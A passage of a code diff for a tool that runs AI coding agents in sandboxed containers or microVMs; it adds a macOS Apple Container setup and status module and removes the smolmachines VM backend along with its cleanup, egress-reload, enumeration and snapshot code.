_REPO_DIR,
dockerfile=plan.dockerfile_path,
)
return plan
def _create_networks(
@@ -0,0 +1,79 @@
"""Host setup + status for the macOS Apple Container backend.
Like Docker, this backend needs no privileged network-pool provisioning
— it wants Apple's `container` CLI installed and its system service
running. `setup()` points at the install/`container system start` steps;
`status()` reports readiness. Reached via
`MacosContainerBottleBackend.setup` / `.status`, dispatched from the
generic `./cli.py backend {setup,status}`.
"""
from __future__ import annotations
import shutil
import subprocess
import sys
from . import util as _container
def _service_running() -> bool:
if shutil.which("container") is None:
return False
return subprocess.run(
["container", "system", "status"],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=False,
).returncode == 0
def setup() -> int:
if not _container.is_macos():
sys.stderr.write("macos-container backend requires macOS.\n")
return 1
if shutil.which("container") is None:
sys.stderr.write("Apple Container is required but was not found on PATH.\n")
sys.stderr.write("Install: https://github.com/apple/container/releases\n")
return 1
if not _service_running():
sys.stderr.write(
"Apple Container is installed but its system service isn't "
"running. Start it with: container system start\n"
)
return 1
sys.stderr.write(
"macos-container backend: ready — no privileged host setup required.\n"
)
return 0
def teardown() -> int:
sys.stderr.write(
"macos-container backend: nothing to undo — it provisions no "
"privileged host state. The Apple Container CLI and its system "
"service are left as-is (stop the service yourself with "
"`container system stop` if you want).\n"
)
return 0
def status() -> int:
ok = True
if _container.is_macos():
sys.stderr.write("host: macOS\n")
else:
sys.stderr.write("host: NOT macOS (backend unsupported here)\n")
ok = False
if shutil.which("container") is not None:
sys.stderr.write("container CLI on PATH: yes\n")
else:
sys.stderr.write("container CLI on PATH: NO\n")
ok = False
if ok:
sys.stderr.write(
f"container system service: {'running' if _service_running() else 'NOT running'}\n"
)
if not _service_running():
ok = False
if not ok:
sys.stderr.write("\nRun: ./cli.py backend setup --backend=macos-container\n")
return 0 if ok else 1
@@ -10,7 +10,6 @@ import shutil
import subprocess
import tempfile
import time
from datetime import datetime, timezone
from typing import Iterable
from ...log import die, info
@@ -459,39 +458,6 @@ def image_id(ref: str) -> str:
raise AssertionError("unreachable")
def image_created_at(ref: str) -> datetime:
"""Return the image creation timestamp as an aware UTC datetime.
Parses the `created` field from `container image inspect` JSON output."""
result = subprocess.run(
[_CONTAINER, "image", "inspect", ref],
capture_output=True,
text=True,
check=False,
)
if result.returncode != 0:
die(
f"container image inspect for {ref!r} failed: "
f"{(result.stderr or '').strip() or '<no stderr>'}"
)
try:
data = json.loads(result.stdout or "{}")
except json.JSONDecodeError as exc:
die(f"container image inspect for {ref!r} returned malformed JSON: {exc}")
if isinstance(data, list) and data:
data = data[0]
if isinstance(data, dict):
value = data.get("created") or data.get("Created")
if isinstance(value, str) and value:
try:
ts = value.rstrip("Z")
return datetime.fromisoformat(ts).replace(tzinfo=timezone.utc)
except ValueError:
pass
die(f"container image inspect for {ref!r} did not include a creation timestamp")
raise AssertionError("unreachable")
def save(ref: str, output: str) -> None:
subprocess.run([_CONTAINER, "image", "save", ref, "-o", output], check=True)
+3 -4
View File
@@ -1,9 +1,8 @@
"""Shared print helpers for BottlePlan.print implementations.
Lifts the multi-value label printer out of DockerBottlePlan so the
smolmachines backend (and any future backend) renders the same
two-column scannable preflight without duplicating the indent
math."""
Lifts the multi-value label printer out of DockerBottlePlan so every
backend (and any future backend) renders the same two-column
scannable preflight without duplicating the indent math."""
from __future__ import annotations
+2 -2
View File
@@ -1,7 +1,7 @@
"""Shared helpers used by both backends' resolve_plan steps.
"""Shared helpers used across backends' resolve_plan steps.
Each helper owns one well-defined step of the per-bottle plan
resolution so docker and smolmachines don't repeat the same logic.
resolution so the backends don't repeat the same logic.
Backend-specific steps (container names, env-file, per-bottle
Dockerfile overrides, subnet allocation) stay in the backend's own
resolve_plan.py.
@@ -1,15 +0,0 @@
"""smolmachines bottle backend (PRD 0023).
Selectable via `BOT_BOTTLE_BACKEND=smolmachines`. Runs each
bottle inside a per-agent microVM (libkrun / Hypervisor.framework
on macOS) with a userspace gvproxy gateway as the egress
primitive. The sidecar bundle (PRD 0024) runs as a host-side
docker container reached only through gvproxy's port-forward list.
Chunk 1 (this commit) ships the backend skeleton + Smolfile +
gvproxy renderers + preflight check. VM lifecycle, sidecar
bringup, and provisioning land in later chunks."""
from .backend import SmolmachinesBottleBackend # noqa: F401
__all__ = ["SmolmachinesBottleBackend"]
-107
View File
@@ -1,107 +0,0 @@
"""SmolmachinesBottleBackend — the smolmachines implementation of
BottleBackend (PRD 0023).
Per PRD 0050 the per-provider provisioning steps (prompt, skills,
the declarative provision-plan apply, supervise MCP registration)
live on the `AgentProvider` plugin under `bot_bottle/contrib/`. The
smolmachines backend only owns the steps that are about backend
infrastructure: CA install (no-op for now), workspace, git copy-in."""
from __future__ import annotations
from contextlib import contextmanager
from pathlib import Path
from typing import Generator, Sequence
from ...agent_provider import AgentProvisionPlan
from ...egress import EgressPlan
from ...env import ResolvedEnv
from ...git_gate import GitGatePlan
from ...supervise import SupervisePlan
from ...manifest import Manifest
from .. import ActiveAgent, BottleBackend, BottleImages, BottleSpec
from . import cleanup as _cleanup
from . import enumerate as _enumerate
from . import launch as _launch
from . import resolve_plan as _resolve_plan
from . import smolvm as _smolvm
from .bottle import SmolmachinesBottle
from .bottle_cleanup_plan import SmolmachinesBottleCleanupPlan
from .bottle_plan import SmolmachinesBottlePlan
class SmolmachinesBottleBackend(
BottleBackend["SmolmachinesBottlePlan", "SmolmachinesBottleCleanupPlan"]
):
"""smolmachines backend. Selected by
`BOT_BOTTLE_BACKEND=smolmachines`."""
name = "smolmachines"
@classmethod
def is_available(cls) -> bool:
"""`smolvm` on PATH. The backend additionally needs macOS
for libkrun + TSI, but `enumerate_active` / `cleanup` are
host-shell ops that gracefully no-op on Linux too — the
runtime check happens at `prepare`."""
return _smolvm.is_available()
def _preflight(self) -> None:
_resolve_plan.preflight()
def _build_guest_env(self, resolved_env: ResolvedEnv) -> dict[str, str]:
return _resolve_plan.build_guest_env(resolved_env)
def _resolve_plan(
self,
spec: BottleSpec,
*,
manifest: Manifest,
slug: str,
resolved_env: ResolvedEnv,
agent_provision_plan: AgentProvisionPlan,
egress_plan: EgressPlan,
git_gate_plan: GitGatePlan,
supervise_plan: SupervisePlan | None,
stage_dir: Path,
) -> SmolmachinesBottlePlan:
return _resolve_plan.resolve_plan(
spec,
manifest=manifest,
slug=slug,
resolved_env=resolved_env,
agent_provision_plan=agent_provision_plan,
egress_plan=egress_plan,
supervise_plan=supervise_plan,
git_gate_plan=git_gate_plan,
stage_dir=stage_dir,
)
def prelaunch_checks(self, plan: SmolmachinesBottlePlan) -> None:
_launch.stale_checks(plan)
def _build_or_load_images(self, plan: SmolmachinesBottlePlan) -> BottleImages:
return _launch.build_or_load_images(plan)
@contextmanager
def _launch_impl(
self, plan: SmolmachinesBottlePlan, images: BottleImages
) -> Generator[SmolmachinesBottle, None, None]:
with _launch.launch(plan, images, provision=self.provision) as bottle:
yield bottle
def supervise_mcp_url(self, plan: SmolmachinesBottlePlan) -> str:
"""The smolmachines guest reaches the supervise sidecar via a
host-published random port the launch step pinned earlier
(`http://<loopback_ip>:<random_port>/`). `agent_supervise_url`
on the plan is "" when the bottle has no sidecar."""
return plan.agent_supervise_url
def prepare_cleanup(self) -> SmolmachinesBottleCleanupPlan:
return _cleanup.prepare_cleanup()
def cleanup(self, plan: SmolmachinesBottleCleanupPlan) -> None:
_cleanup.cleanup(plan)
def enumerate_active(self) -> Sequence[ActiveAgent]:
return _enumerate.enumerate_active()
-217
View File
@@ -1,217 +0,0 @@
"""SmolmachinesBottle — running-instance handle (PRD 0023 chunk 2d).
Routes `exec_agent` / `exec` / `cp_in` through `smolvm machine
exec` / `smolvm machine cp`. The handle is yielded by `launch`
and torn down via the surrounding ExitStack on context exit;
`close` is a no-op idempotent alias so the BottleBackend ABC's
context-manager contract is satisfied.
User context: `smolvm machine exec` runs commands as root in the
VM, but the agent image's USER is `node` and agent CLIs may refuse
to run as root in bypass modes. Both
`exec_agent` and `exec` switch to the requested user (default
`node`) via `runuser -u <user> --` and set `HOME` / `USER`
through `smolvm -e` — avoiding `runuser -l`'s login-shell wiring
(PAM session setup, /etc/profile sourcing) which can hang on a
minimal Debian VM with no PAM session config."""
from __future__ import annotations
import subprocess
import sys
import time
import shlex
from typing import Mapping, cast
from ...agent_provider import PromptMode, prompt_args
from .. import Bottle, ExecResult
from ..terminal import exec_shell_script
from . import pty_resize as _pty_resize
from . import smolvm as _smolvm
# Absolute path to the pty_resize wrapper. Invoke as
# `python <path>` rather than `python -m <dotted-path>` so the
# wrapper runs regardless of cwd / sys.path — it has no
# bot_bottle.* imports, so it's self-contained.
_PTY_RESIZE_SCRIPT = _pty_resize.__file__
# Per-user env the agent image's USER (node) expects. Some providers
# write session state under the user's home directory;
# bare `runuser -u` inherits root's HOME=/root, which claude
# can't write to. Set HOME / USER explicitly through smolvm -e
# so the child process sees them.
_HOME_FOR = {
"node": "/home/node",
"root": "/root",
}
_DEFAULT_PATH_FOR = {
# Committed smolmachine snapshots are rebuilt from a rootfs tarball and
# lose Docker image ENV metadata. Restore the provider CLI path here so
# resumed Codex bottles can still find the per-user install.
"node": (
"/home/node/.local/bin:"
"/home/node/.codex/packages/standalone/current/bin:"
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
),
"root": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
}
def _env_assignments_for(user: str, env: Mapping[str, str]) -> list[str]:
home = _HOME_FOR.get(user, f"/home/{user}")
out = [f"HOME={home}", f"USER={user}"]
if "PATH" not in env:
out.append(f"PATH={_DEFAULT_PATH_FOR.get(user, _DEFAULT_PATH_FOR['root'])}")
for k, v in env.items():
out.append(f"{k}={v}")
return out
class SmolmachinesBottle(Bottle):
"""Handle returned by `SmolmachinesBottleBackend.launch`. The
underlying VM lifecycle (create / start / stop / delete) lives
on the launch ExitStack — this class only routes runtime
operations to the right `smolvm machine ...` subcommand."""
def __init__(
self,
machine_name: str,
*,
prompt_path: str | None = None,
guest_env: Mapping[str, str] | None = None,
agent_command: str = "claude",
agent_prompt_mode: PromptMode = "append_file",
agent_provider_template: str = "claude",
terminal_title: str = "",
terminal_color: str = "",
agent_workdir: str = "/home/node",
) -> None:
self.name = machine_name
# In-VM path to the agent's prompt file. None when the
# agent declared no prompt (file still exists; we just
# don't pass --append-system-prompt-file).
self.prompt_path = prompt_path
# Env vars the agent process needs (HTTPS_PROXY,
# CLAUDE_CODE_OAUTH_TOKEN, manifest-declared bottle env, …).
# Forwarded on every `smolvm machine exec` via `-e K=V`
# because exec doesn't inherit from machine_create's env.
self._guest_env = dict(guest_env or {})
self._agent_prompt_mode = agent_prompt_mode
self.agent_command = agent_command
self.terminal_title = terminal_title
self.terminal_color = terminal_color
self.agent_provider_template = agent_provider_template
self.agent_workdir = agent_workdir
def agent_argv(
self, argv: list[str], *, tty: bool = True,
) -> list[str]:
flags = ["smolvm", "machine", "exec", "--name", self.name]
if tty:
flags += ["-i", "-t"]
agent_tail = ["env", *_env_assignments_for("node", self._guest_env)]
if self.agent_workdir and self.agent_workdir != _HOME_FOR["node"]:
agent_tail += [
"sh", "-lc",
f"cd {shlex.quote(self.agent_workdir)} && exec \"$@\"",
"bot-bottle-agent",
]
agent_tail.append(self.agent_command)
provider_prompt_args = prompt_args(
cast(PromptMode, self._agent_prompt_mode), self.prompt_path, argv=argv,
)
if cast(PromptMode, self._agent_prompt_mode) == "read_prompt_file":
agent_tail += argv
agent_tail += provider_prompt_args
else:
agent_tail += provider_prompt_args
agent_tail += argv
flags += ["--", "runuser", "-u", "node", "--", *agent_tail]
if not tty:
# No PTY allocated — no SIGWINCH to forward, no resize
# bridge needed. Skip the wrapper so non-interactive
# exec paths (e.g., provisioning shell-outs that
# happen to go through this method) stay light.
return flags
return [
sys.executable, _PTY_RESIZE_SCRIPT,
self.name, "--", *flags,
]
def exec_agent(self, argv: list[str], *, tty: bool = True) -> int:
"""Run the selected agent interactively inside the VM as the `node`
user. Inherits the operator's terminal (stdin / stdout /
stderr) so the session feels native. Blocks until the agent
exits; returns the in-VM exit code.
We bypass the captured-output `machine_exec` helper here
because that one wraps stdout/stderr in pipes — fine for
scripted exec, wrong for an interactive shell. Drop down
to `subprocess.run` with the TTY inherited.
UID switches via `runuser -u node --` (not `-l`) so we
avoid login-shell wiring. HOME / USER come from `smolvm
-e` instead, which sets them on the process env."""
agent_argv = self.agent_argv(argv, tty=tty)
script = exec_shell_script(agent_argv, self.terminal_title, self.terminal_color) if tty else None
if script is None:
return subprocess.run(agent_argv, check=False).returncode
# Use sh -c (not -lc) so the script inherits PATH from the calling
# process. sh -l sources login-shell init files (e.g. /etc/profile)
# which may NOT include smolvm's location when it was installed via
# homebrew. The calling process (./cli.py) already has smolvm on PATH
# (provision steps succeed), so -c is sufficient.
return subprocess.run(["sh", "-c", script], check=False).returncode
# smolvm/libkrun can SIGKILL an otherwise-normal exec during
# early-VM provisioning. Retry once after a short settle so
# callers (provision_ca, etc.) don't have to handle it themselves.
_SIGKILL_EXIT = 128 + 9
def exec(self, script: str, *, user: str = "node") -> ExecResult:
"""Run a POSIX shell script as `user` (default `node`) and
capture the result. Matches the docker backend's `exec`,
which defaults to the image's USER (also node) — so test
helpers / provision shell-outs run with the same identity
on both backends. Pass `user="root"` for tests that need
root.
`runuser -u <user> -- env ... /bin/sh -c <script>` switches UID
without invoking a login shell, then sets HOME / USER and the
bottle env in the child process.
Retries once on SIGKILL (exit 137) — libkrun occasionally
kills short-lived execs during VM bring-up."""
r = self._exec_raw(script, user=user)
if r.returncode == self._SIGKILL_EXIT:
time.sleep(1.0)
r = self._exec_raw(script, user=user)
return r
def _exec_raw(self, script: str, *, user: str = "node") -> ExecResult:
argv = [
"--", "runuser", "-u", user, "--",
"env", *_env_assignments_for(user, self._guest_env),
"/bin/sh", "-c", script,
]
r = subprocess.run(
["smolvm", "machine", "exec", "--name", self.name] + argv,
capture_output=True, text=True, check=False,
)
return ExecResult(
returncode=r.returncode,
stdout=r.stdout or "",
stderr=r.stderr or "",
)
def cp_in(self, host_path: str, container_path: str) -> None:
"""Copy a host path into the guest at `container_path`."""
_smolvm.machine_cp(host_path, f"{self.name}:{container_path}")
def close(self) -> None:
# Real teardown lives on the launch ExitStack; this is just
# the idempotent alias the BottleBackend ABC expects.
pass
@@ -1,55 +0,0 @@
"""SmolmachinesBottleCleanupPlan — concrete BottleCleanupPlan (issue #77).
Tracks the resources `SmolmachinesBottleBackend.cleanup` will
remove:
- machines: smolvm machines whose name starts with
`bot-bottle-` (running or stopped). Stopped +
deleted via `smolvm machine stop` + `machine delete -f`.
- bundles: docker containers `bot-bottle-sidecars-<slug>`
left over from a smolmachines bottle (the bundle's
port-forwards stay published on lo0 aliases until
the container is gone). Removed via `docker rm -f`.
- networks: docker networks `bot-bottle-bundle-<slug>`
attached to the bundles. Removed via
`docker network rm`.
Smolmachines state dirs live under the same `~/.bot-bottle/state/`
path the docker backend uses; the docker backend's
`prepare_cleanup` already enumerates orphan state dirs and is the
single source of truth for that bucket (consults
`enumerate_active_bottles()` so it doesn't reap a live
smolmachines bottle's dir)."""
from __future__ import annotations
import sys
from dataclasses import dataclass
from ...log import info
from .. import BottleCleanupPlan
@dataclass(frozen=True)
class SmolmachinesBottleCleanupPlan(BottleCleanupPlan):
"""Resources SmolmachinesBottleBackend.cleanup will remove.
Produced by `prepare_cleanup`; sorted so the y/N output is
stable."""
machines: tuple[str, ...] = ()
bundles: tuple[str, ...] = ()
networks: tuple[str, ...] = ()
@property
def empty(self) -> bool:
return not self.machines and not self.bundles and not self.networks
def print(self) -> None:
print(file=sys.stderr)
for name in self.machines:
info(f"smolvm machine: {name}")
for name in self.bundles:
info(f"bundle container:{name}")
for name in self.networks:
info(f"bundle network: {name}")
print(file=sys.stderr)
@@ -1,96 +0,0 @@
"""SmolmachinesBottlePlan — concrete BottlePlan for the smolmachines
backend (PRD 0023).
Slug + legacy bundle network coordinates + smolvm machine name +
agent `.smolmachine` artifact + per-bottle guest env."""
from __future__ import annotations
from dataclasses import dataclass
from pathlib import Path
from ...agent_provider import PromptMode
from .. import BottlePlan
@dataclass(frozen=True)
class SmolmachinesBottlePlan(BottlePlan):
"""Resolved fields the launch step needs to bring up the bottle.
Inherits `spec`, `stage_dir`, `git_gate_plan`, `egress_plan`,
`supervise_plan`, and `agent_provision` from BottlePlan."""
slug: str
# Legacy per-bottle bundle network coordinates. These remain on
# the plan while BundleLaunchSpec still carries the original shape,
# but the smolmachines launch path exposes the sidecar VM through
# host-loopback forwarders instead of a Docker bridge IP.
bundle_subnet: str
bundle_gateway: str
bundle_ip: str
# In-guest env vars (HTTPS_PROXY etc) — IP-literal URLs since
# the guest has no DNS resolver inside the TSI allowlist.
# Passed to `smolvm machine create` as `-e K=V` flags.
# Smolfile-rendering is gone (smolvm 0.8.0's
# `--smolfile` is mutually exclusive with `--from`, and
# `--from` is the path that avoids the registry-pull race).
guest_env: dict[str, str]
# Agent-side endpoints. Empty at prepare time; launch populates
# these after sidecar VM bringup via `dataclasses.replace`.
# Format: a `host:port` for git-gate (insteadOf URL prefix) +
# full URLs for proxy / supervise.
agent_proxy_url: str = ""
agent_git_gate_host: str = ""
agent_supervise_url: str = ""
@property
def machine_name(self) -> str:
"""smolvm machine name. `machine_create` boots from a packed
`.smolmachine` artifact (pre-baked at prepare time via
`smolvm pack create`); using `--from` instead of `--image`
avoids the registry-pull race we hit when machine_start tried
to fetch on-demand and the libkrun agent's network attempt
got refused by macOS."""
return self.agent_provision.instance_name
@property
def agent_image(self) -> str:
"""Agent image ref (docker tag). `launch` runs the
build → save → registry push → smolvm pack pipeline against
this and feeds the resulting `.smolmachine` artifact to
`machine_create --from`. The pipeline runs at launch time
(not prepare time) so the docker build output doesn't garble
the dashboard's preflight modal."""
return self.agent_provision.image
@property
def prompt_file(self) -> Path:
"""Path to the agent's prompt file on the host. Always written
(mode 0o600) so the in-VM path always exists; the file is
empty when the agent has no prompt — claude-code reads it
via --append-system-prompt-file only when non-empty."""
return self.agent_provision.prompt_file
@property
def git_gate_insteadof_host(self) -> str:
return self.agent_git_gate_host
@property
def git_gate_insteadof_scheme(self) -> str:
return "http"
@property
def agent_command(self) -> str:
return self.agent_provision.command
@property
def agent_prompt_mode(self) -> PromptMode:
return self.agent_provision.prompt_mode
@property
def agent_provider_template(self) -> str:
return self.agent_provision.template
@property
def agent_dockerfile_path(self) -> str:
return self.agent_provision.dockerfile
-159
View File
@@ -1,159 +0,0 @@
"""Cleanup + active-listing for the smolmachines backend (issue #77).
`prepare_cleanup` enumerates leftover smolmachines resources:
- smolvm machines (`smolvm machine ls --json`) whose name starts
with `bot-bottle-`.
- bundle docker containers (`bot-bottle-sidecars-<slug>`).
- bundle docker networks (`bot-bottle-bundle-<slug>`).
State dirs live under `~/.bot-bottle/state/<identity>/` —
shared layout with the docker backend, which has the single
orphan-state-dir enumerator (it already consults
`enumerate_active_agents()` so a live smolmachines bottle's dir
is preserved).
`cleanup` removes everything in the plan: stop + delete each VM,
force-rm each container, rm each network. Each step is
best-effort — a failure on one resource doesn't block the others."""
from __future__ import annotations
import json
import subprocess
from ...log import info, warn
from . import sidecar_bundle as _bundle
from . import smolvm as _smolvm
from .bottle_cleanup_plan import SmolmachinesBottleCleanupPlan
# Both names start with the same prefix the launcher uses.
_VM_PREFIX = "bot-bottle-"
_BUNDLE_PREFIX = _bundle.bundle_container_name("") # `bot-bottle-sidecars-`
_NETWORK_PREFIX = _bundle.bundle_network_name("") # `bot-bottle-bundle-`
def prepare_cleanup() -> SmolmachinesBottleCleanupPlan:
"""Enumerate every smolmachines-owned resource on the host.
No side effects. Returns an empty plan when smolvm isn't on
PATH (no machines to reap) — `cleanup` is a no-op in that
case too."""
machines = _list_bot_bottle_machines()
bundles = _list_bundle_containers()
networks = _list_bundle_networks()
return SmolmachinesBottleCleanupPlan(
machines=tuple(sorted(machines)),
bundles=tuple(sorted(bundles)),
networks=tuple(sorted(networks)),
)
def cleanup(plan: SmolmachinesBottleCleanupPlan) -> None:
"""Remove everything in the plan. Order matters: stop VMs
first (they hold ports on lo0 aliases via libkrun), then the
bundle containers (which hold the host port-forwards), then
the networks (which docker won't reap until the containers
are gone)."""
for name in plan.machines:
info(f"stopping smolvm machine {name}")
subprocess.run(
["smolvm", "machine", "stop", "--name", name],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
check=False,
)
info(f"deleting smolvm machine {name}")
r = subprocess.run(
["smolvm", "machine", "delete", "-f", name],
capture_output=True, text=True, check=False,
)
if r.returncode != 0:
warn(
f"smolvm machine delete -f {name} failed: "
f"{(r.stderr or '').strip()}"
)
for name in plan.bundles:
info(f"removing bundle container {name}")
subprocess.run(
["docker", "rm", "-f", name],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
check=False,
)
for name in plan.networks:
info(f"removing bundle network {name}")
r = subprocess.run(
["docker", "network", "rm", name],
capture_output=True, text=True, check=False,
)
if r.returncode != 0 and "no such network" not in (r.stderr or "").lower():
warn(
f"docker network rm {name} failed: "
f"{(r.stderr or '').strip()}"
)
def _list_bot_bottle_machines() -> list[str]:
"""All smolvm machines named `bot-bottle-*`, regardless of
state (running / stopped / created). Empty when smolvm isn't
installed."""
if not _smolvm.is_available():
return []
r = subprocess.run(
["smolvm", "machine", "ls", "--json"],
capture_output=True, text=True, check=False,
)
if r.returncode != 0:
return []
try:
machines = json.loads(r.stdout or "[]")
except json.JSONDecodeError:
return []
return [
m["name"] for m in machines
if isinstance(m, dict)
and m.get("name", "").startswith(_VM_PREFIX)
]
def _list_bundle_containers() -> list[str]:
"""All docker containers named `bot-bottle-sidecars-*`,
running or stopped. Empty when docker isn't installed."""
# Late import: `backend/__init__` imports this module
# transitively via the smolmachines backend.
from .. import has_backend
if not has_backend("docker"):
return []
r = subprocess.run(
["docker", "ps", "-a",
"--filter", f"name=^{_BUNDLE_PREFIX}",
"--format", "{{.Names}}"],
capture_output=True, text=True, check=False,
)
if r.returncode != 0:
return []
return [
line for line in (r.stdout or "").splitlines()
if line and line.startswith(_BUNDLE_PREFIX)
]
def _list_bundle_networks() -> list[str]:
"""All docker networks named `bot-bottle-bundle-*`. Empty
when docker isn't installed."""
from .. import has_backend
if not has_backend("docker"):
return []
r = subprocess.run(
["docker", "network", "ls",
"--filter", f"name={_NETWORK_PREFIX}",
"--format", "{{.Name}}"],
capture_output=True, text=True, check=False,
)
if r.returncode != 0:
return []
return [
line for line in (r.stdout or "").splitlines()
if line and line.startswith(_NETWORK_PREFIX)
]
@@ -1,52 +0,0 @@
"""Egress apply for the smolmachines backend.
The smolmachines sidecar bundle runs as a sidecar smolVM. Route-file
inspection and reload signalling therefore go through ``smolvm machine
exec`` instead of Docker.
"""
from __future__ import annotations
from ...egress import EGRESS_ROUTES_IN_CONTAINER
from ...log import warn
from ..egress_apply import EgressApplicator, EgressApplyError
from . import sidecar_bundle as _bundle
from . import smolvm as _smolvm
def fetch_current_routes(slug: str) -> str:
machine = _bundle.bundle_machine_name(slug)
result = _smolvm.machine_exec(machine, ["cat", EGRESS_ROUTES_IN_CONTAINER])
if result.returncode != 0:
raise EgressApplyError(
f"could not read routes.yaml from {machine}: "
f"{(result.stderr or '').strip() or 'sidecar VM not running?'}"
)
return result.stdout
class SmolmachinesEgressApplicator(EgressApplicator):
def _signal_bundle_reload(self, slug: str) -> None:
machine = _bundle.bundle_machine_name(slug)
result = _smolvm.machine_exec(machine, ["sh", "-c", "kill -HUP 1"])
if result.returncode != 0:
last_error = (result.stderr or "").strip() or (result.stdout or "").strip()
warn(
f"egress: routes updated on disk for {slug}, but bundle reload failed: "
f"{last_error or 'smolvm exec failed'}"
)
raise EgressApplyError(
f"could not reload egress bundle {machine}: "
f"{last_error or 'smolvm exec failed'}"
)
applicator = SmolmachinesEgressApplicator()
__all__ = [
"SmolmachinesEgressApplicator",
"EgressApplyError",
"applicator",
"fetch_current_routes",
]
@@ -1,128 +0,0 @@
"""Active-agent enumeration for the smolmachines backend (PRD
0023 chunk 4 follow-up + issue #77).
Returns a list of `ActiveAgent` records same shape the docker
backend produces so CLI `list active` and the dashboard agents
pane render both backends through one code path.
A smolmachines agent is "active" when its smolvm guest is
running. We cross-reference against the per-bottle sidecar
bundle container to populate the `services` field (which daemons
are up in the bundle); without a bundle we still surface the VM
so the operator can see + clean it up.
The cross-backend caller gates on `has_backend("smolmachines")`
and `has_backend("docker")`, so this module assumes both are
available when called. Both subprocess calls below still
tolerate "command not on PATH" defensively, but the gate is the
intended access pattern."""
from __future__ import annotations
import json
import subprocess
from .. import ActiveAgent
from ...bottle_state import read_metadata
from . import sidecar_bundle as _bundle
# Smolvm VM names produced by prepare are `bot-bottle-<slug>`,
# matching the bundle container name pattern. We use the prefix
# both as a filter and to strip back to the slug.
_VM_NAME_PREFIX = "bot-bottle-"
_SIDECAR_VM_PREFIX = _bundle.bundle_machine_name("")
def enumerate_active() -> list[ActiveAgent]:
"""All currently-running smolmachines-backed agents. Empty
list when no matching VMs are running. Caller is responsible
for gating on `has_backend('smolmachines')` if needed; if
smolvm is missing the `smolvm machine ls` call below returns
nothing silently."""
result = subprocess.run(
["smolvm", "machine", "ls", "--json"],
capture_output=True, text=True, check=False,
)
if result.returncode != 0:
return []
try:
machines = json.loads(result.stdout or "[]")
except json.JSONDecodeError:
return []
services_by_slug = _query_bundle_services()
out: list[ActiveAgent] = []
for m in machines:
name = m.get("name") or ""
state = m.get("state") or ""
if (
state != "running"
or not name.startswith(_VM_NAME_PREFIX)
or name.startswith(_SIDECAR_VM_PREFIX)
):
continue
slug = name[len(_VM_NAME_PREFIX):]
metadata = read_metadata(slug)
out.append(ActiveAgent(
backend_name="smolmachines",
slug=slug,
agent_name=metadata.agent_name if metadata else "?",
started_at=metadata.started_at if metadata else "",
services=services_by_slug.get(slug, ()),
label=metadata.label if metadata else "",
color=metadata.color if metadata else "",
))
return out
def _query_bundle_services() -> dict[str, tuple[str, ...]]:
"""`{slug: ('egress', ...)}` from each running bundle container's
`BOT_BOTTLE_SIDECAR_DAEMONS` env var.
Smolmachines bundles all run the PRD-0024 image with the
same daemon set declared via env, so one inspect per bundle
gets us the picture without exec'ing into the container.
Returns an empty mapping when the docker backend isn't
available the bundle services field on each ActiveAgent
just shows up empty, matching the docker backend's "starting"
state."""
# Late import: `has_backend` lives on the backend package's
# __init__, which imports this module transitively. Pulling
# the name in at call time sidesteps the cycle.
from .. import has_backend
if not has_backend("docker"):
return {}
ps = subprocess.run(
["docker", "ps",
"--filter", "name=" + _bundle.bundle_container_name(""),
"--format", "{{.Names}}"],
capture_output=True, text=True, check=False,
)
if ps.returncode != 0:
return {}
out: dict[str, tuple[str, ...]] = {}
for line in (ps.stdout or "").splitlines():
name = line.strip()
if not name:
continue
slug = name.removeprefix(_bundle.bundle_container_name(""))
if not slug:
continue
inspect = subprocess.run(
["docker", "inspect", name, "--format", "{{json .Config.Env}}"],
capture_output=True, text=True, check=False,
)
if inspect.returncode != 0:
continue
try:
env_list = json.loads(inspect.stdout or "[]")
except json.JSONDecodeError:
continue
for entry in env_list:
key, _, value = entry.partition("=")
if key == "BOT_BOTTLE_SIDECAR_DAEMONS":
out[slug] = tuple(sorted(
d for d in value.split(",") if d
))
break
return out
-145
View File
@@ -1,145 +0,0 @@
"""SmolmachinesFreezer — snapshot a smolmachines bottle.
`smolvm pack create --from-vm` requires the VM to be stopped, and smolvm
removes VMs when stopped (same issue as Apple Container). Instead, exec
into the running VM as root to write a gzip-compressed tar of the root
filesystem to /var/tmp, then copy it to the host with `smolvm machine cp`,
build a Docker image from the archive, convert it to a smolmachine artifact
via the existing registry pipeline, and record the sidecar path. The VM
stays running throughout."""
from __future__ import annotations
import tempfile
from pathlib import Path
from .. import ActiveAgent
from ..freeze import Freezer
from ..docker import util as docker_mod
from .local_registry import crane_push_tarball, ephemeral_registry
from .smolvm import machine_cp, machine_exec, pack_create
from ...bottle_state import bottle_state_dir
from ...log import die, info
# Temp file written inside the VM during commit. Lives in /var/tmp
# (on-disk, unlike tmpfs /tmp) to survive for machine_cp.
_VM_COMMIT_TAR = "/var/tmp/.bot-bottle-commit.tar.gz"
class SmolmachinesFreezer(Freezer):
"""Freezes a smolmachines bottle via exec-tar + Docker image + smolmachine pack.
The VM is NOT stopped. We exec into the running VM to write a compressed
tar of the root filesystem to /var/tmp, copy it to the host with
machine_cp, build a Docker image (Docker's ADD decompresses .tar.gz
automatically), then run the same imageregistrypack_create pipeline
that _ensure_smolmachine uses for fresh builds."""
backend_name = "smolmachines"
def _freeze(self, agent: ActiveAgent) -> str:
machine = f"bot-bottle-{agent.slug}"
image_ref = f"bot-bottle-committed-{agent.slug}:latest"
output_dir = bottle_state_dir(agent.slug)
output_dir.mkdir(parents=True, exist_ok=True)
binary = output_dir / "committed-smolmachine"
sidecar = output_dir / "committed-smolmachine.smolmachine"
_snapshot_running_vm(machine, image_ref, binary)
return str(sidecar)
def _export_hint(self, slug: str, image_ref: str) -> None:
info(f"to export for migration: cp {image_ref} {slug}.smolmachine")
def _snapshot_running_vm(machine: str, image_ref: str, binary: Path) -> None:
"""Exec-tar the running VM, build a Docker image, and pack to a smolmachine.
binary: destination for the launcher (sibling .smolmachine is the artifact
that machine_create --from consumes, same convention as pack_create).
"""
with tempfile.TemporaryDirectory(prefix="bot-bottle-vm-commit.") as tmp:
tmp_path = Path(tmp)
# Use .tar.gz — Docker ADD decompresses automatically and the
# compressed archive fits in the VM's /var/tmp more easily.
rootfs_tar_gz = tmp_path / "rootfs.tar.gz"
dockerfile = tmp_path / "Dockerfile"
_exec_tar_to_file(machine, rootfs_tar_gz)
dockerfile.write_text(
"FROM scratch\n"
